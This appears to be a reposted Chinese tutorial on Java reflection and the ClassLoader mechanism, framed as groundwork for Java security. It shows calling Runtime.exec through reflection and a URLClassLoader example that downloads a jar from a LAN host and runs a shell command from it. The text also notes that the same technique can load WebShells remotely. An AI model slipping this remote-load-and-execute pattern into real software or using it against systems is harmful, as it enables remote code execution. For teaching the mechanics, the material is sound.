Java安全基础之Java反射机制和ClassLoader类加载机制

这篇具有很好参考价值的文章主要介绍了Java安全基础之Java反射机制和ClassLoader类加载机制。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录
  • Java 反射机制
    • 反射 java.lang.Runtime
  • ClassLoader 类加载机制
    • URLClassLoader
    • loadClass() 与 Class.forName() 的区别?

Java 反射机制

Java 反射(Reflection)是 Java 非常重要的动态特性。在运行状态中,通过 Java 的反射机制,我们能够判断一个对象所属的类。了解任意一个类的所有属性和方法。能够调用任意一个对象的任意方法和属性。

Java 反射机制可以无视类方法、变量的访问权限修饰符,并且可以调用类的任意方法、访问并修改成员变量值。

对于一般的程序员来说反射的意义不大,对于框架开发者来说,反射作用就非常大了,反射是各种容器、框架实现的核心技术。

获取 Class 对象

Java 反射操作的是 java.lang.Class 对象,所以我们需要先想办法获取到 Class 对象。

  1. 类字面常量来获取
Class<?> name = MyClass.class;
  1. 通过对象获取 getClass() 方法
MyClass obj = new MyClass();
Class<?> name = obj.getClass();
  1. 通过全限定名获取 Class.forName() 方法
Class<?> name = Class.forName("java.lang.Runtime");
  1. 使用 getSystemClassLoader().loadClass() 方法
Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");

获取类成员变量

  1. getDeclaredFields 方法

获得类的成员变量数组,包括 public、private 和 proteced,但是不包括父类的声明字段。

Field[] fields = classname.getDeclaredFields();
  1. getDeclaredField 方法

该方法与 getDeclaredFields 的区别是只能获得类的单个成员变量。

Field field  = classname.getDeclaredField("变量名");
  1. getFields 方法

getFields 能够获得某个类的所有的 public 字段,包括父类中的字段。

Field[] fields = classname.getFields();
  1. getField 方法

与 getFields 类似,getField 方法能够获得某个类特定的 public 字段,包括父类中的字段。

Field field = classname.getField(("变量名");

获取类方法

  1. getDeclaredMethods 方法

返回类或接口声明的所有方法,包括 public、protected、private 和默认方法,但不包括继承的方法。

Method[] methods = classname.getDeclaredMethods()
  1. getDeclaredMethod 方法

只能返回一个特定的方法,该方法的第一个参数为方法名,第二个参数名是方法参数。

Method methods = classname.getDeclaredMethods("方法名")
  1. getMethods 方法

返回某个类的所有 public 方法,包括其继承类的 public 方法。

Method[] methods = classname.getMethods();
  1. getMethod 方法

只能返回一个特定的方法,该方法的第一个参数为方法名称,后面的参数为方法的参数对应 Class 的对象。

Method method = clazz.getMethod("方法名");

反射 java.lang.Runtime

java.lang.Runtime 有一个 exec 方法,可以反射调用 Runtime 类来执行本地系统命令。

不使用反射执行本地命令:

import java.io.IOException;

public class Exec {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

反射 Runtime 执行本地命令:

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionExec {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
            InvocationTargetException, IllegalAccessException {
        // 获取 Runtime 类
        Class<?> clazz = Class.forName("java.lang.Runtime");

        // 获取 Runtime 类的 getRuntime() 方法
        Method getRuntimeMethod = clazz.getMethod("getRuntime");

        // 调用 getRuntime() 方法,获取 Runtime 对象
        Object runtimeObject = getRuntimeMethod.invoke(null);

        // 获取 exec(String command) 方法
        Method execMethod = clazz.getMethod("exec", String.class);

        // 执行系统命令
        execMethod.invoke(runtimeObject, "clac");
    }
}

间接的调用 Runtime 的 exec 方法执行本地系统命令。

Java安全基础之Java反射机制和ClassLoader类加载机制

反射机制的功能很强大,不安全的反射可能会带来致命的漏洞。

ClassLoader 类加载机制

Java 是编译型语言,编写的 java 文件需要编译成后 class 文件后才能够被 JVM 运行。类加载器 ClassLoader 负责加载类文件,生成对应的 Class 对象。

JVM 提供的三种类加载器

  1. Bootstrap ClassLoader(启动类加载器)

负责加载 Java 的核心类,比如 java.lang.Object 等。它是由 C++ 实现的,并且不是 Java 类。

  1. Extension ClassLoader(扩展类加载器)

负责加载 Java 的扩展类,位于 <JAVA_HOME>/lib/ext 目录下的JAR包或类。

  1. System ClassLoader(系统类加载器)

也称为应用类加载器,负责加载应用程序的类,通常从 classpath 中加载类。

值得注意的是,Bootstrap ClassLoader 它是 JVM 自身的一部分,并不是 ClassLoader 的子类,无法直接获取对其的引用。所以尝试获取被 Bootstrap ClassLoader 类加载器所加载的类的 ClassLoader 时候都会返回 null。

除了这三种,还可以自定义类加载器。

ClassLoader 类中和加载类相关的方法

  • getParent() 返回该类加载器的父类加载器

  • loadClass() 加载指定的类

  • findClass() 查找指定的类

  • findLoadedClass() 查找已经被加载过的类

  • defineClass() 定义一个类

  • resolveClass() 链接指定的Java类

ClassLoader类加载流程

  1. 检查是否已经加载过类

在加载类之前,会首先使用 findLoadedClass() 方法判断该类是否已经被加载,如果已经加载过,则直接返回对应的 Class 对象。

  1. 委托给父类加载器

如果未被加载,则优先使用加载器的父类加载器进行加载,如果加载成功,则返回对应的 Class 对象。

  1. 自行尝试加载类

如果父类加载器无法加载该类,或者父类加载器为空,则会调用自身的 findClass() 方法尝试自行加载该类。

  1. 链接和初始化

在成功加载类之后,类加载器会对其进行链接和初始化操作。

  1. 返回 Class 对象

返回一个被 JVM 加载后的 java.lang.Class 类对象。

ClassLoader 的 loadClass 方法核心逻辑代码:

protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    synchronized (getClassLoadingLock(name)) {
        Class<?> c = findLoadedClass(name);
        if (c == null) {
            long t0 = System.nanoTime();
            try {
                if (parent != null) {
                    c = parent.loadClass(name, false);
                } else {
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
            }
            if (c == null) {
                c = findClass(name);
            }
        }
        if (resolve) {
            resolveClass(c);
        }
        return c;
    }
 }

自定义的类加载器

通过重写 findClass() 方法,利用 defineClass() 方法来将字节码转换成 java.lang.class 类对象,可以实现自定义的类加载器。

URLClassLoader

URLClassLoader 类是 ClassLoader 的一个实现,拥有从远程服务器上加载类的能力。

通过 URLClassLoader 可以实现远程的类方法调用,可以实现对一些 WebShell 的远程加载。

例如:通过 URLClassLoader 来加载一个远程的 jar 包执行本地命令

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {
    public static void main(String[] args) throws IOException,
            ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
			IllegalAccessException {

        // 定义远程加载的jar的URL路径
        URL url = new URL("http://192.168.88.150/CMD.jar");

        // 创建URLClassLoader对象,并加载远程jar包
        URLClassLoader ucl = new URLClassLoader(new URL[]{url});

        // 通过URLClassLoader加载远程jar包中的CMD类
        Class<?> cmdClass = ucl.loadClass("CMD");

        String cmd = "ls";
        // 调用CMD类中的exec方法
        Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

        // 获取命令执行结果的输入流
        InputStream in = process.getInputStream();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int a = -1;

        // 读取命令执行结果
        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        // 输出命令执行结果
        System.out.println(baos.toString());
    }
}

其中远程的 CMD.jar 中就一个 CMD.class 文件,对应的 CMD.java 如下:

import java.io.IOException;

public class CMD {
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}

成功调用 CMD 类中的 exec 方法,执行了 ls 命令。

Java安全基础之Java反射机制和ClassLoader类加载机制

loadClass() 与 Class.forName() 的区别?

loadClass() 方法和 Class.forName() 方法都可以用于在运行时加载类。

主要区别:

  • loadClass() 方法是 ClassLoader 类的一个方法,通过指定的类加载器加载类,它在加载类时不会自动执行类的静态初始化代码。

  • Class.forName() 方法是 java.lang.Class 类的一个静态方法,它在加载类时会自动执行类的静态初始化代码。


若有错误,欢迎指正!o( ̄▽ ̄)ブ文章来源地址https://www.toymoban.com/news/detail-855160.html

到了这里,关于Java安全基础之Java反射机制和ClassLoader类加载机制的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【C#】反射机制,动态加载类文件

    【C#】编号生成器(定义单号规则、固定字符、流水号、业务单号) 本文链接:https://blog.csdn.net/youcheng_ge/article/details/129129787 【C#】日期范围生成器(开始日期、结束日期) 本文链接:https://blog.csdn.net/youcheng_ge/article/details/129040663 【C#】组件化开发,调用dll组件方法 本文链接

    2024年02月11日
    浏览(70)
  • 【JAVA基础】JVM之类加载--双亲委派机制

    1. 类加载的过程 描述: 我们写的 .java 文件通过编译成字节码文件 .class 文件,然后再通过我们的类加载器:Class Loader,反射以后,类模板存在方法区,把实例化的对象存在堆里; 看图: 对象的hashcode值 解释: 从图中我们可以看出,从同一个类模板new出来三个对象(实例化

    2024年01月23日
    浏览(45)
  • Java笔记040-反射/反射机制、Class类

    目录 反射(reflection) 一个需求引出反射 反射机制 Java反射机制原理图 Java反射机制可以完成 反射相关的主要类 反射机制的优点和缺点 反射调用优化-关闭访问检查 Class类 基本介绍 代码解释部分 类加载方法 应用实例:Class02.java 获取Class类对象 代码解释部分 哪些类型有Class对象

    2024年02月09日
    浏览(49)
  • Java的反射机制(2)

    目录 Class类基本介绍 Class类的常用方法 如何获取class类对象 哪些类型有Class对象 Class类基本介绍 在Java语言中,每个对象都有一个运行时类,即其所属的类。而这个运行时类在Java中是以Class类的实例形式存在的,该Class类实例就是所谓的Class对象。Class类表示一个类或接口的元

    2024年02月08日
    浏览(39)
  • Java的反射机制

    Java 的反射机制允许在程序运行期间,借助反射 API 获取类的内部信息,并能直接操作对象的内部属性及方法。 Java 反射机制提供的功能: 在运行时,使用反射分析类的能力,获取有关类的一切信息(类所在的包、类实现的接口、标注的注解、类的数据域、类的构造器、类的

    2024年02月02日
    浏览(41)
  • Java反射机制是什么?

    Java 反射机制 是 Java 语言的一个重要特性。 在学习 Java 反射机制前,大家应该先了解两个概念,编译期和运行期。 编译期 是指把源码交给编译器编译成计算机可以执行的文件的过程。在 Java 中也就是把 Java 代码编成 class 文件的过程。编译期只是做了一些翻译功能,并没有把

    2024年02月12日
    浏览(38)
  • Java反射、代理机制

    官方解释:反射允许对封装类的字段、方法和构造方法的信息进行编程访问。 虚拟机加载类文件后,会在方法区生成一个类对象,包含了类的结构信息,如字段、方法、构造方法等。反射是一种能够在程序运行时动态访问、修改类对象中任意属性的机制(包括private属性)。

    2024年02月10日
    浏览(49)
  • Java反射机制深入详解

    一.概念 反射就是把Java的各种成分映射成相应的Java类。 Class类的构造方法是private,由JVM创建。 反射是java语言的一个特性,它允程序在运行时(注意不是编译的时候)来进行自我检查并且对内部的成员进行操作。例如它允许一个java的类获取他所有的成员变量和方法并且显示

    2024年02月06日
    浏览(45)
  • 【JavaSE】Java的反射机制

    1.java反射机制 1.1简介 被视为动态语言的关键,允许程序在执行期间,借助于RefectionAPI取得任何类的内部信息。在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个类对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方

    2024年04月26日
    浏览(41)
  • Java重点:反射机制的使用

    目录 一、概念 二、类类 1、类类的获取方式 1)类名.Class 2)对象.getClass() 3)Class.forName() 三、反射实例化 1、调用一个公有的无参构造方法 2、调用一个公有的一个参构造方法 3、调用一个公有的两个参构造方法 4、调用一个私有的一个参构造方法 四、反射:方法调用 1、公有

    2024年02月07日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包